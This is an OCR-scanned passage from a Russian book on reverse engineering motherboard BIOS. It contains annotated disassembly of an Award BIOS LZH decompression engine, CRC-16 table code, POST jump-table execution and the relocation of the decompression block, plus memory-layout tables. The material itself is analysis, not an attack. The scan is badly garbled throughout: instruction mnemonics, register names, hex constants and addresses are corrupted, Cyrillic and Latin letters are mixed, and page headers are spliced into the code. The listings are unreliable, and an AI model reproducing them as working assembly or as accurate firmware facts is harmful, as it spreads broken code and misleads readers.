; Старший байт сегмента назначения
1000:В193
call
get_src_byte
1000:В196
sub
bx, 12h
1000:В199
crop
al, 40h
; '@* ; Компонент расширения?
1000:В19В
jnz
short not_extension_component
1000:8190
add
bx, llh
; Младший байт сегмента назначения
Ю00:В1А0
call
get_src_byte
1000:В1АЗ
sub
bx, llh
Ю00:В1Аб
or
al, al
; Сегмент назначения = 4000h?
Ю00:В1А8
jz
short not_extension_component
1000:В1АА
movzx
dx, al
iOOOiBlAD
add
bx, 1
; Контрольная сумма заголовка LZH
Ю00:BIBO
call
get_src_byte
^OO^lBS
dec
bx
1000:В1В4
sub
al, dl
; Контр, сумма заг. LZH =
^00;В1В4
; первоначальная контр, сумма заг. LZH
1000:В1В4
10°0:В1В6
add
bx, 1
; - младший байт сегмента назначения
10°0:В1В9
call
patch_byte
10°0:В1ВС
dec
bx
1O°°:B1BD
xor
al, al
1°°O:B1BF ^00;В1с2 ;°°0:В1С2 ;°0°:В1С2 '°°°:В1С5
add
bx, llh
call
sub
patch_byte
bx, llh
; Устанавливаем младший байт
; сегмента назначения в 00h
; (Сегмент назначения = 4000h)
176
Часть II. Обратная разработка BIOS материнской пла^
1OOO:B1C8
inc dx; Млад, байт сег-та назн. =
1OOO:B1C8
; млад, байт сег. назн. + 1
1OOO:B1C9
shl dx, 2; (млад, байт сег-та назн. + 1)*4
1000:BlCC
add di, dx; di = ((млад, байт сег-та назн.+1) *4)
1000:BlCC
; + 6000h
1000:BICE
mov gs:[di], bx; [((млад, байт сег-та назн. + 1) *4)
1000:BICE
; + 6000h]
1000:BICE
; = Смещение источника
1000:BlDl
mov ex, es
1OOO:B1D3
mov gs: [di + 2], ex ; [((млад, байт сег-та назн. + 1) *4)
1OOO:B1D3
; + 6000h
1OOO:B1D3
; +2] = сегмент источника
1000:BID?
clc
1000:BIDS
call get_src_byte
1000:BlDB
movzx есх, al; есх = длина заголовка LZH
1000:BlDF
add bx, 7; eax = размер упакованного компонента
1OOO:B1E2
call get_dword
1OOO:B1E5
sub bx, 7
1OOO:B1E8
add есх,;ecx = размер упакованного компонента +
1OOO:B1E8
; длина заголовка LZH
1000:BlEB
add есх,;есх = размер упакованного компонента +
1000:BlEB
; длина заг-ка LZH + sizeof(EOF_byte) +
1000:BlEB
; sizeof(байта длины заг-ка LZH) +
1000:BlEB
; sizeof(8-битной контрольной
1000:BlEB
; суммы заголовка LZH)
1000:BlEF
pop gs
1000:BlFl
assume gs:nothing
1000:BlFl
jmp exit
1OOO:B1F4
1000:B1F4 not_extension_component:
1OOO:B1F4
pop gs
1OOO:B1F6
mov ax, dest_segmnt
1OOO:B1F9
mov _dest_segmnt, ax
1000:BlFC
mov ax, dest_offset
1000:BIFF
mov _dest_offset, ax
1000:B202
and ah, OFOh
1000:B205
enp ah, OFOh ; '='
1000:B208
jnz short dest_offset_is_low
1000:B20A
mov ax, dest_offset
1000:B20D
mov _dest_segmnt, ax
1000:B210
xor ax, ax
1000:B212
mov _dest_offset, ax
1000:В215
;оОО:В215
des t_o f f se t_i s_l ow:;
i000:B215
mov
ecx, cmpressed_size
1000:В21А
xor
eax, eax
10ОО:В2Ю
mov
al, lzh_hdr_len
1000:В22О
add
ecx, eax;
Размер упакованного компонента
100О: В220
+ длина заг-ка LZH
10ОО:В223
add
ecx, 3;
ecx = размер упакованного компонента
1000 :В223
длина заг-ка LZH + sizeof(EOF_byte) ■
1000:8223
;
sizeof(байта длины заг-ка LZH) +
1000:8223
sizeof(8-битной контр-й суммы
1000 :В223 1000:8227
mov
edx, orig_size
заголовка LZH)
Ю00:В22С
push
edx
1000: В22Е
push
ecx
1000:8230
mov
bx, src_lo_word
1000:8234
push
bx
1000:823 5
add
bx, 5
1000:8238
call
get_src_byte
1000:823В
pop
bx
1000:8230
push
ax
1000:B23D
movzx
ax, lzh_hdr_len
1000:8242
add
ax, 2
1000:8245
1000:8245
add
src_lo_word, ax
Младшее слово источника указывает
на "чисто упакованный" компонент.
1000:8249
pop
ax
1000:В24А
jnb
short not_next_seg
Ю00:В24С
inc
src_hi_word
Ю00:В25О
1000:В254
inc
byte ptr sel_l_hi.
_dword
1000:В254
not_next_seg:;
1000:В254
cmp
al, 'O’;
-IhO- (несжатый компонент)?
1000:В256
jnz
short lzh_deconpress
1000:В258
call
copy_conponent
10°0:В25В
10°0:B25D
jnp
short exit_ok
10°0:B25D
lzh_decompress:;
10°0:B25D
push
_dest_segmnt
^°0:B261
push
_dest_offset
10°0:В265
push
large [orig_size]
'^0:В2бА
call
LZH_Expand
178
—
Часть II. Обратная разработка BIOS материнской плагпк1
1000:B26D
pop
orig_size
1000:8272
pop
_dest_offset
1000:8276
pop
_dest_segmnt
1000:B27A
1000:B27A
exit_ok;
:; . . •
1000:B27A
pop
ecx
1000:B27C
pop
edx
1000:B27E
clc
1000:B27F
1000:B27F
exit:
1000:B27F
pop
es
1000:8280
pop
bx
1000:8281
pop
eax
1000:B283
retf
1000:8283 Decompression_Ngine endp
1000:B2AC
;Базовый адрес для DS
- 3_0000h
1000:B2AC
;При входе: ds = сегмент супероперативной памяти
1000:B2AC
;для таблицы проверки
контрольной суммы.
1000:B2AC
;По выходу: ds:10Ch -
ds:118h = таблица CRC-16
1000:B2AC
1000:B2AC
Make_CRC16_Table proc near ; ...
1000:B2AC
pusha
1000:B2AD
mov si, 10CH
1000:8280
mov ex, 100H
1000:82B3
1000:8283
next_CRC_byte:
1000:82B3
mov ax, 100H
1000:B2B6
sub ax, ex
1000:B2B8
push ax
1000:B2B9
mov bx, 0
1000:B2BC
1000:B2BC
next_bit:
1000:B2BC
test ax, 1
1000:B2BF
jz short current_bit_is_0
1000:B2Cl
shr ax, 1
1000:82C3
xor ax, OAOOlh
1000:B2C6
jmp short current_bit_is_l
1000:B2C8
1000:B2C8
current_bit_is_0:; . ..
1000:B2C8
shr ax, 1
1000:B2CA
1000:В2СА
current.
_bit_is_l:; ...
1000:В2СА
inc
bx
1£)00:В2СВ
cnp
bx, 8
г000 :В2СЕ
jb
short next_bit
!000:B2DO
pop
bx
!000:B2Dl
mov
[bx+si], ax
1q00:B2D3
inc
si
1000:B2D4
loop
next_CRC_byte
1000:В206
popa
1000-.B2D7
retn
1000:B2D7
Make_CRC16_Table endp
1000:B37D
Fetch_LZH_Hdr_Info proc near ; .
1000:B37D
pusha
1000:B37E
push
es
1000:B37F
mov
bx, src_lo_word
1000:8383
clc
1000:8384
call
get_src_byte
1000:8387
mov
lzh_hdr_len, al
1000:B38A
pop
es
1000:8388
cmp
lzh_hdr_len, 0
1000:8390
jnz
short lzh_hdr_ok
1000:83'92
1000:83 92
set_carry:
1000:8392
stc
1000:8393
1000:8396
jnp
exit
1000:3396
lzh_hdr_ok:
1000:3396
push
es
1000:3397
add
bx, 1
1000:B39A
call
get_src_byte
1000:B39D
mov
lzh_hdr_chksum, al
1000:B3A0
Pop
es
1000:B3Al
call
Read_Basic_LZH_Hdr
1000:B3A4
call
Calc_LZH_Hdr_8bit_sum
10°0:B3A7
cnp
al, lzh_hdr_chksum
"°°0:B3AB
jz
short Izh hdr chksum ok
10°0:B3AD
10°°:B3AF
jnp
short set_carry
10°0:B3AF
1zh_hdr_chksum_ok:
10°0:B3AF
mov
bx, 5
'°°0:B3B2
mov
ex, 4
180
Часть II. Обратная разработка BIOS материнской плати.
1000:ВЗВ5
call Get_LZH_Hdr_Bytes
1000:ВЗВ8
mov cnpressed_size, eax
1000:ВЗВС
mov bx, 9
1000:B3BF
mov ex, 4
1000:ВЗС2
call Get_LZH_Hdr_Bytes
1000:ВЗС5
mov orig_size, eax
1000:ВЗС9
mov bx, ODh
1000:ВЗСС
mov ex, 2
1000:B3CF
call Get_LZH_Hdr_Bytes
1000:B3D2
mov dest_offset, ax
1000:B3D5
mov bx, OFh
1000:B3D8
mov ex, 2
1000:B3DB
call Get_LZH_Hdr_Bytes
1000:B3DE
mov dest_segmnt, ax
1000:B3El
enp LZH_levl_sign_O, 2Oh ; ' '
1000:B3E6
jnz short set_carry
1000:B3E8
enp LZH_levl_sign_l, 1
; LZH уровень 1?
1000:B3ED
jnz short set_carry
1000:B3EF
movzx bx, lzh_hdr_len
1000:B3F4
sub bx, 5
1000:B3F7
mov ex, 2
1000:B3FA
call Get_LZH_Hdr_Bytes
1000:B3FD
mov LZH_hdr_crcl6_val, ax
1000:B400
mov bx, 13h
1000:B403
mov bl, [bx + 0]
1000:B407
mov ax, 14h
1000:B40A
add bx, ax
1000:B40C
mov byte ptr [bx + 0], 24h ; '$'
1000:8411
mov byte ptr [bx + 1], 0
1000:B416
clc
1000:В417
1000:B417
exit:
1000:B417
popa
1000:8418
retn
1000:B418
Fetch_LZH_Hdr_Info endp
1000:B2D8
Read_Basic_LZH_Hdr proc near
1000:B2D8
pusha
1000:B2D9
movzx ex, lzh_hdr_len
(пава 5. Реализация BIOS материнской платы
1000:В2ОЕ
push
es
i000:B2DF
push
si
1000:В2ЕО
mov
si, 0
1000:В2ЕЗ
mov
ax, 2
1ООО:В2Е6
1000:В2Еб
next_hdr_byte:; . . .
|ООО:В2Е6
mov
bx, src_lo_word
Ю00:В2ЕА
add
bx, ax
1000:В2ЕС
push
ax
1000:B2ED
call
get_src_byte
1000:B2FO
mov
(si], al
1000:B2F2
pop
ax
1000:B2F3
inc
ax
1000:B2F4
inc
si
1000:B2F5
loop
next_hdr_byte
1000:B2F7
sub
ax, 2
1000:B2FA
pop
si
1000:B2FB
pop
es
1000:B2FC
mov
lzh_hdr_len, al
1000:B2FF
mov
ex, ax
1000:8301
add
word ptr orig_size, ax
1000:8305
inc
ex
1000:6306
mov
bx, 0
1000:8309
1000:8309
next_byte:; ...
1000:8309
movzx
ax, byte ptr [bx]
1000:B30C
dec
ex
1000:B30D
jcxz
short exit
ЮОО.-ВЗОР
call
patch_crcl6; Устанавливаем новое значение
1000:B30F
1000:B312
inc
; контрольной суммы (сгс16). Ьх
1000:8313
jnp
short next_byte
1OOQ;B315
Ю00:В315
exit:
Юоо:вз15
1000:B316
10°0:B316
popa
retn
Read_Basic_LZH_Hdr endp
*°°0;B337
Calc_LZH_Hdr_8bit_sum proc near
'°°0:B337
push
bx
'°°°:B338
push
ex
182
Часть II. Обратная разработка BIOS материнской пла^
1000:В339
push
dx
1000:ВЗЗА
mov
ах, 0
1000:B33D
movzx
ex, 1zh_hdr_len
1000:В342
1000:В342
next_hdr_byte:
1000:В342
movzx
bx, lzh_hdr_len
1000:В347
sub
bx, ex
1000:В349
movzx
dx, byte ptr [bx + 0]
1000.-В34Е
add
ax, dx
1000:В350
loop
next_hdr_byte
1000:В352
pop
dx
1000:В353
pop
ex
1000:В354
pop
bx
1000:В355
and
ax, OFFh
1000:В358
re tn
1000:В358
Calc_LZH_Hdr_8bit_sum endp
1000:В359
; На входе: ex =
byte_count
1000:В359
;bx =
byte index
1000:В359
; На выходе: eax
= прочитано байтов
1000:В359
1000:В359
Get_LZH_
_Hdr_Bytes proc near; ...
1000:В359
push
bx
1000:В35А
push
edx
1000:В35С
push
si
1000:В350
xor
eax, eax
1000:В360
dec
bx
1000:В361
inc
ex
1000:8362
1000:В362
next_byte?:; . . .
1000:В362
dec
ex
1000:В363
jcxz
short exit
1000:8365
shl
eax, 8
1000:В369
mov
si, bx
1ООО:В36В
add
si, ex
1000:8360
movzx
edx, byte ptr [si + 0]
1000:8373
add
eax, edx
1000:В376
jnp
short next_byte?
1000:В378
1000:В378
exit:
; . . .
1000:В378
pop
si
; Безусловный переход к;распакованной системной BIOS.; Безусловный переход к;распакованной системной BIOS.
; Безусловный переход к
;распакованной системной BIOS.
; Безусловный переход к
;распакованной системной BIOS.
^00 = 8379
pop
edx
1000:В37В
1000:В37С
1000:В37С
pop re tn
Get_LZH_
bx
_Hdr_Bytes endp
2000:Е561 2ООО:Е564 2000:Е564
call
near ptr Decompress_System_BIOS
jnp
short System_BIOS_dcnprssion_OK
2000:Е566
chk_sum_
.error:; ...
2000:Е566
2000:Е566
push
2000h
2000:Е569
pop
ds
2000:Е56А
assume ds:_20000h
2000:Е5бА
mov
dword_2000_FFF4, '/11=’
2000:Е573
mov
dword_2000_FFF8, '9/11'
2000:Е57С
mov
dword_2000_FFFC, 0CFFC0039h
2000:Е585
2000:Е588
mov
ax, lOOOh
2000:Е588
System_BIOS_dcmprssion_OK:
2000:Е588
mov
ds, ax
2000:Е58А
assume ds:_10000h
2000:Е58А
push
ax
2000:Е58В
mov
al, 0C5h; '+'
2000:E58D
out
80h, al; Выводим диагностическое сообщение
2000:E58F
call
copy_decompression_result
2000:Е592
pop
ax
2000:Е593
cmp
ax, 5000h
2000:Е59б
jz
short dconprssion_ok
2000:Е598
2000:E59D
2000:E59D
jnp
far ptr loc_F000_F7F7
2000:E59D
dcomprssion_ok:
2000:E59D
mov
al, 0
2000-.E59F
call
enable_cache
2000:E5A2
jnp
far ptr loc_F000_F80D
2°00:Е5А2
3Учив дизассемблированный код, приведенный в этих листингах, создадим Голицу расположения компонентов BIOS в памяти сразу же после распаков- системной BIOS (см. табл. 5.3).
7 Зак 1387
Таблица 5.3. Расположение двоичного кода BIOS в памяти после распаковки системной Blo§
Начальный адрес компонента BIOS в RAM (Физический адрес)
Размер
Статус распаковки
Описание компонента
5_0000h
128 Кбайт
Компонент, распакованный в RAM по начальному адресу, указанному в первой колонке
Системная BIOS, т. е. основной код BIOS. Иногда называется original.tmp
30_0000h
512 Кбайт
Еще не распакованный компонент
Это копия всего двоичного файла BIOS, т. е. образ двоичного файла BIOS в RAM
Процедура распаковки, дизассемблированный код которой приведен в листинге 5.19, требует некоторых пояснений:
Во время распаковки часть кода распаковщика вычисляет 16-битное значение контрольной суммы упакованного компонента по алгоритму CRC16.'
При распаковке сегмент зооои в RAM используется процедурой распаковки в качестве сверхоперативной памяти. Область сверхоперативной памяти занимает диапазон адресов от з_оооои до 3_8000h; ее размер составляет 32 Кбайт. Перед началом распаковки она заполняется нулями. Назначение адресов этой сверхоперативной памяти описано в табл. 5.4.
Таблица 5.4. Назначение адресов временной памяти, используемой движком распаковки
Начальный индекс сегмента временной памяти
Размер (в байтах)
Описание
371Ch
2000h
(8 Кбайт)
Буфер. Здесь хранится "скользящее окно", т. е. временный результат распаковки, перед тем, как он копируется по адресу назначения ______
571Ch
1
Длина заголовка LHA
571Dh
1
8-битная сумма заголовка LHA_
ООЦа данном этапе распакована только системная BIOS. Сначала она распаковывается в сегмент soooh, а затем перемещается в сегменты еоооь-fooон. Остальные упакованные компоненты еще не распакованы, но информация об их
О
О
первоначальном заголовке была сохранена по адресу oooo:6oooh-oooo:6xxxh в RAM. Эта информация включает начальные адреса9 упакованных компонентов. Впоследствии, адрес сегментов назначения этих компонентов был
изменен на 4000h процедурой, расположенной в образе двоичного кода
BIOS по адресу 30_0000h-37_FFFFh. Это можно делать, так как во время
исполнения BIOS эти сегменты будут распаковываться не одновременно, а по одному. После распаковки каждого компонента, он будет перемещен
из сегмента 4000h в нужную область памяти.
Значение 40xxh в заголовке10 играет роль идентификатора, работающего следующим образом:
о 40 (старший байт) — это идентификатор, который обозначает компонент как "BIOS расширения", которую нужно распаковать при исполнении файла original.tmp.
о хх — это идентификатор, который будет использован при исполнении системной BIOS для обозначения начального адреса компонента в образе двоичного файла BIOS11, который требуется распаковать. Далее в этой главе данный вопрос будет освещен более подробно.
Дизассемблирование системной BIOS Award
Материал, представленный в данном разделе, излагается так же, как и в предыдущем. Это означает, что подробно рассматриваются лишь потенциально проблематичные для понимания ветви исполнения и участки кода. В этом Разделе будет рассмотрен процесс дизассемблирования распакованной системной BIOS материнской платы Foxconn.
5-1.3.1. Точка входа из кода начальной загрузки
в системную BIOS
Данная точка входа — это адрес, по которому код начальной загрузки переДает управление после перемещения системной BIOS в RAM и установления
ю ачальнЬ1е адреса представлены в форме физических адресов.
И качение 4 0xxh — это сегмент назначения заголовка LHA сжатого компонента.
бРаз двоичного файла BIOS на данный момент уже скопирован в область RAM -° о о Oh- 3 7_FFFFh.
186 Часть /А Обратная разработка BIOS материнской плагпь, ее в состояние "только чтение". Точка входа в системную BIOS показана в листинге 5.20.
Ль m нг 5. 0 Точка входа в системную BIOS
F000:F80D org_tirip_entry:
F000:F80D jmp start_sys_bios
Исполнение таблицы переходов POST
Исполнение таблицы переходов POST в Award BIOS версии 6.00PG несколько отличается от исполнения этой таблицы в BIOS версии 4.5PGNM. В более ранней версии исполняются две таблицы переходов POST одна за другой. А в Award BIOS версии 6.00PG "подчиненная" таблица переходов исполняется внутри "главной" таблицы переходов POST. Это можно наблюдать в дизассемблированном коде, приведенном в листинге 5.21. Элементы в таблице переходов POST, закомментированные как фиктивные процедуры в листинге 5.21, не выполняют никакой работы. Они или просто возвращают управление сразу же после вызова, или очищают флаг переноса и возвращают управление после этого. Необходимо помнить, что таблицы переходов содержат адреса процедур POST, находящихся в том же сегменте, что и сама таблица переходов.
Как было показано в разд. 5.1.2, рассматривающем код начальной загрузки, изо всех упакованных компонентов BIOS, на данный момент распакован только двоичный файл системной BIOS. Кроме того, мы также знаем, что движок распаковщика находится в RAM в сегменте юооь. Но, как будет показано далее, впоследствии этот движок распаковщика будет перемещен в другую область памяти, а в сегмент юооь будет загружен файл awardextrom.
Листинг 5.21. Исполнение таблицы переходов POST
F000:EE0F
starts
sys_bios:
F000:EE0F
mov
ax.
0
F000:EE12
mov
ss.
ax
; Используем сегмент 0000b под стек
F000:EE14
mov
sp.
OFOOh
F000:EE17
call
setup_stack
F000:EElA
call
Eseg_Read_Write_Enable
F000:EElD
mov
si,
5000h
F000:EE20
mov
di.
OEOOOh
F000:EE23
mov
ex.
8000b
^ай 5. Реализация BIOS материнской платы187
1
f000:EE26
call _copy_seg
fqOO:EE29
call Eseg_Read_Enable
fqOO:ЕЕ2С
mov byte ptr [bp + 228h], 0
F000:EE31
mov si, 73E0h
fq00:EE34
call Read_CMOS??
pOOO:EE37
push OEOOOh
fq00:EE3A
push si
F000:EE3B
retf;
E000:73E0h - исполняем POST.
E000-.73EO
mov ex, 1
E000:73E3
mov di, 740Bh
E000:73E6
call exec_POST_jump_table
E000:73E9
E000:73EC
j mphal t_machine
E000:73EC
exec_POST_juirp_table proc near
E000:73EC
mov al, cl
E000:73EE
out8Oh, al;
Выводим диагностическое сообщение.
EOOO:73FO
push OFOOOh
E000:73F3
pop fs
E000:73F5
assume fs:F000
E000:73F5
mov ax, cs:[di]
E000:73F8
inc di
E000:73F9
inc di
E000:73FA
orax, ax
E000:73FC
jzshort exit
E000:73FE
push di
E000:73FF
push ex
EOOO:7400
call Additional_POST
EOOO:7403
call ax
EOOO:7405
pop ex
EOOO:7406
pop di
£000:7407
inc ex
e000:7408
e°00:740A
jmp short exec_POST_jump_table
E0O0:74OA
exit:; ...
E^OO:740a
re tn
e°00:740A
exec_POST_junp_table endp
^°00:740A
E°00:740B
Begin POST Jump Table
EoOO:740B
dw 2277h;
Распаковываем awardext.rom.
E000:740D
dw 228Ah;
_ITEM.BIN и _EN_CODE.BIN
E°°0:740d
Распаковка (с перемещением)
E000:740F
ЕООО:7411
ЕООО:7413
dw 22D3h
dw 22D8h
dw 22D9h
; Фиктивная процедура
ЕООО:7529
dw 6C34h
; Фиктивная процедура
ЕООО:752В
dw 6C36h
; Фиктивная процедура
E000:752D E000:752F ЕООО:7531 ЕООО:7533 ЕООО:7535 ЕООО:7535
Е000:79в0 Е000:79В0 Е000:79В2 Е000:79В5 Е000:79В5 Е000:79В5 Е000:79В9 Е000:79ВВ Е000:79ВЕ Е000:79С0 Е000:79С4 Е000:79Сб Е000:79С6 Е000:79Сб Е000:79С9 Е000:79СВ Е000:79СВ Е000:79СВ E000:79CD E000:79CD
Е000:79Е0
dw 6C38h
dw 6C3Ah
dw 6D44h
dw 6DEBh
dw 6EClh
End POST Jump Table
Additional_POST proc near pushad mov si, 79E0h
next_POST:; ...
cmp byte ptr cs:[si], OFFh jzshort exit
cmp cs:[si], cl
jnz short next_POST_idx
mov di, cs:[si + 1] call di
next_POST_idx:; . . .
add si, 3
jmp short next_POST
exit:; ...
popad
re tn
Additional_POST endp
Begin_Addit ional_POST
; Фиктивная процедура
Е000:79Е0
db OAh
; 'Нормальный' индекс POST
Е000:79Е1
dw 7A40h
; Дополнительная подпрограмма
POST
Е000:79ЕЗ
db 23h
; 'Нормальный' индекс POST
Е000:79Е4
dw 7A91h
; Дополнительная подпрограмма
POST
Е000:79Еб
db 26h
; 'Нормальный' индекс POST
Е000:79Е7
dw 7ADEh
; Дополнительная подпрограмма
POST
Е000:79Е9
db 70h
; 'Нормальный' индекс POST
Е000=79ЕА
dw 79F0h
е000:79ЕС
db 85h
E000=79ED
dw 7AEAh
e000:79ED
End_Additional_POST
; Дополнительная подпрограмма POST
; 'Нормальный1 индекс POST
; Дополнительная подпрограмма POST
Перемещение блока распаковки
и распаковка файла awardextrom
Дизассемблированный код, осуществляющий перемещение блока распаковщика и распаковку файла awardextrom, показан в листинге 5.22.
Листинг 5.22 Перемещение блока распаковки и распаковка файла awardextrom
ЕООО:2277
EOOO:2277
; POST_1_S
EOOO:2277
EOOO:2277
POST_1S proc near
EOOO:2277
call Reloc_Dcomprssion_Block
EOOO:2277
; Перемещаем блок распаковки
E000:227A
; в сегмент 40Oh.
mov di, 8200h; Индекс awardext.rom(ANDed
E000:227A
; with 0x3FFF). Значение 8
E000:227A
; в старшем байте означает,
EOOO:227A
; что сегмент нужно
E000:227A
; модифицировать т. е.
E000:227A
; сегмент по умолчанию -
E000:227A
; 4000h - не используется.
E000:227D
mov si, 1000h; Сегмент назначения
EOOO:2280
call near ptr Deconpress_Coirponent
EOOO:2283
jb short exit
EOOO:2285
call init_boot_flag
e000:2288
EOOQ:2288 e°00:2288
E°00:2289 ^00:2289
exit:
clc
re tn
POST_1S endp ; sp = 2
EOOO:2232
Reloc_Dcomprssion_Block proc near ; ...
E°00;2232
mov bx, lOOOh
e000:2235
mov es, bx
E°00;2237
assume es:seg_01
ЕООО:2237
push
cs
ЕООО:2238
pop
ds
ЕООО:2239
assume ds:nothing
ЕООО:2239
xor
di, di
ЕООО:223В
old
Е000:223С
ЕООО:223С
next_lower_l6_bytes:
Е000:223С
lea
si, _AwardDecompressionBios
ЕООО:2230
" = Award Decompression Bios ="
ЕООО:2240
push
di
Е000:2241
mov
ex, ICh
ЕООО:2244
repe
empsb
ЕООО:2246
pop
di
ЕООО:2247
jz
short dcomprssion_ngine_found
ЕООО:2249
add
di, lOh
Е000:224С
Е000:224Е
jnp
short next_lower_16_bytes
/
Е000:224Е
Е000:224Е
dconprssion_ngine_found: ; . ..
Е000:224Е
mov
[bp + 2F3h], di
ЕООО:2252
push
es
ЕООО:2253
pop
ds
ЕООО:2254
assume ds:seg_01
ЕООО:2254
push
di
ЕООО:2255
pop
si
ЕООО:2256
push
0
ЕООО:2258
pop
es
ЕООО:2259
assume es:nothing
ЕООО:2259
sub
es:6000h, di;
Обновляем смещение движка распаковки
ЕООО:2259
к 0x734 (0хВ0Е4 - ОхАЭСО)
ЕООО:2259
Теперь движок распаковки находится
ЕООО-.2259
по адресу 400:734h
Е000:225Е
mov
bx, 400h
ЕООО:2261
mov
es, bx
ЕООО:2263
assume es:seg000
ЕООО:2263
xor
di, di
ЕООО:2265
mov
ex, 800h
ЕООО:2268
old
ЕООО:2269
rep movsw
ЕООО:226В
mov
bx, 400h
ЕООО:226Е
mov
es, bx
g000:2270 3qOO 2276 £000=2276g000:2270 3qOO 2276 £000=2276OCBhOCBhmov byte ptr es:unk_400_FFF, re tn
g000:2270 3qOO 2276 £000=2276
g000:2270 3qOO 2276 £000=2276
OCBh
OCBh
Reloc_Dconprssion_Block endp
g кОде, приведенном в листинге 5.22, блок распаковки находится путем по- 0СКа СТрОКИ = Award Decompression Bios =. После ЭТОГО КОД, ЯВЛЯЮЩИЙСЯ частью первой процедуры POST, перемещает блок распаковки в сегмент 400h. Как было показано в разд. 5.13.2, до выполнения этой процедуры не исполняется никакой "дополнительной" подпрограммы POST, так как в дополнительной таблице переходов POST нет "индекса" для подпрограммы POST 1.
Ьразд. 5.1.2.7, посвященном дизассемблированию подпрограммы для распаковки системной BIOS, было показано, что содержимое физических начальных адресов блока упакованных компонентов BIOS, расположенного в двоичном образе BIOS в диапазоне адресов 30_0000h-37_FFFFh, было сохранено в RAM в диапазоне адресов 6000h-6400h во время исполнения кода движка распаковки. Соответствующая информация была приведена в табл. 5.1, "Распределение памяти среди двоичных компонентов BIOS перед безусловным переходом в original.tmp". Начальный физический адрес сжатых компонентов BIOS, сохраняемый в этом диапазоне, вычисляется при помощи следующей формулы:
address_in_6xxxh = 6000h + 4*(lo_byte (destination_segment_address) + l)
Заметьте, ЧТО адрес сегмента назначения (destination_segment_address) начинается по смещению ин от начала каждого из упакованных компонентов . Применяя эту формулу, можно определить, какой компонент распаковывается в каждом конкретном случае. В данном случае, при вызове подпрограммы распаковки ей передается значение 8200h в качестве параметра индекса. Отсюда получаем следующую формулу:
Lo-byte(destination_segment_address) = ((8200h & 0x3FFF)/4) - 1
То есть,
Lo-byte(destination_segment_address) = 0x7F
Здесь 7fh соответствует упакованному файлу awardext.rom, так как это знание находится и в заголовке файла awardextrom, т. е. сегментом назначе-
ния файла awardext.rom является сегмент 407Fh. Обратите внимание, чТо операция логическое И имитирует подпрограмму распаковки для компонен. тов расширения. Принципы работы подпрограмм будут подробно объяснены далее, при рассмотрении исполнения подпрограммы распаковки при прове- дении процедуры POST.
Распаковка компонентов расширения
Дизассемблированный код процедуры распаковки компонентов расширения приведен в листинге 5.23.
Листинг 5.23. Распаковка компонентов расширения
E000:72CF
E000:72CF
; На входе: di = индекс компонента
E000:72CF
;si = сегмент назначения
E000:72CF
E000:72CF
Decornpress_Conponent proc far ;
E000:72CF
push
ds
E000:72D0
push
es
E000:72Dl
push
bp
E000:72D2
push
di
E000:72D3
push
si
E000:72D4
and
di, 3FFFh
E000:72D8
cli
E000:72D9
mov
al, OFFh ; Разрешаем кэш.
E000:72DB
call
FO_mod_cache_stat
E000:72DE
call
es_ds_enter_voodoo
E000:72El
pop
dx; dx = si — сегмент назначения
E000:72E2
pop
ax; ax = di — индекс компонента
E000:72E3
mov
ebx, es:[di + 6000h]
E000:72E3
; ebx = физический адрес источника
E000:72E9
or
ebx, ebx
E000:72EC
jz
exit_err
E000:72F0
crop
ebx, OFFFFh
E000:72F7
jz
exit_err
E000:72FB
test
ah, 40h
E000:72FE
jz
short extension_cornponent
E000:7300
clc
E000:7301
E000:7304
E000:7304
j™P
exit
extension_conponent:
,.«Qa 5. Реализация BIOS материнской платы
,000:7304
mov
di, es:6000h
с0оо.-7304
; di = смещение движка распаковки
(734h)
^7309
mov
ex, es:[ebx + OFh]
.000=7309
; Сохраняем смещение назначения
гООО:7309
; распаковки в стек.
5000:730Е
push
сх
г000:73ОР
mov
сх,; Сохраняем сегмент назначения
es:tebx +
llh]
S000:73OF
; распаковки в стек.
Е000:7314
push
сх
ЕООО:7315
push
word ptr es:[ebx]
Е000:7315
; Сохраняем контрольную сумму и длину заголовка.
Е000:7319
test
ah, 80h; Проверяем, нужно ли подлатать
Е000:7319
; сегмент назначения?
ЕООО:731С
jz
short call_decorrp_ngine
Е000:731С
; Если сегмент назначения не нужно модифицировать,
Е000:731С
; тогда делаем переход.
Е000:731Е
push
ах
Е000:731F
mov
al, dh
ЕООО:7321
and
al, OFOh
Е000:7323
cmp
al, OFOh ; '='
Е000:7325
pop
ax
Е000:7326
jnz
short patch_trgt_seg
ЕООО:7328
mov
ex, es:[ebx + OFh]
£000:7320
mov
es:[ebx + OFh], dx
£000:7332
jmp
short patch_hdr_sum
£000-7332
£000:7334
db 90h; Ё
£000:7335
Е000:7335
patch_trgt_seg:; . . .
£000:7335
mov
es:[ebx + llh], dx
ЕООО:7335
; Модифицируем сегмент назначения
в заголовке LZH
Е000:733А
Е000:733А
patch_hdr_sum:; . . .
Е000:733А
add
cl, ch
Е000:733С
add
dl, dh
Е0ОО.-733Е
sub
cl, dl
2°оо:7340
sub
es:[ebx + 1 ], cl
£000:7345
Е°00:7345
call_decomp_ngine:
Е°0Э:7345
ror
ebx, lOh
^^0:7349
mov
es, bx; es = старшее слово физич-го
194
Часть II. Обратная разработка BIOS материнской плати.
EOOO:7349
; адреса источника
E000:734B
ror ebx, 10h
E000:734F
push cs
EOOO:7350
push offset deconp_ngine_retn
EOOO:7353
mov dx, 3000h
EOOO:7356
push 40Oh
EOOO:7359
push di
E000:735A
retf; Переходим к 400:734h
E000:735A
; (Перемещенный блок распаковки).
E000:735B
•
E000:735B
deconp_ngine_retn:; . . .
E000:735B
call es_ds_enter_voodoo
E000:735E
pop word ptr es:[ebx]
EOOO:7362
pop word ptr es:[ebx + llh]
EOOO:7367
pop word ptr es:[ebx + OFh]
E000:736C
mov ebx, es:[ebx + OBh]
EOOO:7372
push cs
EOOO:7373
push offset exit_ok
EOOO:7376
push 0EC3lh
EOOO:7379
push 0F09Ch; Вызываем процедуру сегмента FOOD
EOOO:7379
; по адресу F000:F09C —
EOOO:7379
; реинициализируем вентиль А20.
E000:737C
jmp far ptr locret_F000_EC30
EOOO:7381
EOOO:7381
exit_ok:
EOOO:7381
clc
EOOO:7382
jmp short exit
EOOO:7384
*
EOOO:7384
exit_err:
EOOO:7384
EOOO:7385
stc
EOOO:7385
exit:
EOOO:7385
pushf
EOOO:7386
mov al, 0
EOOO:7388
call FO_mod_cache_stat
E000:738B
popf
E000:738C
pop bp
E000:738D
pop es
E000:738E
pop ds
E000:738F
retn
E000:738F Deconpress_Component endp
г к видите, все происходящее в подпрограмме распаковки в листинге 5.23 охоже на исполнение блока начальной загрузки в RAM. Следует, однако, ^1етить некоторые особенности:
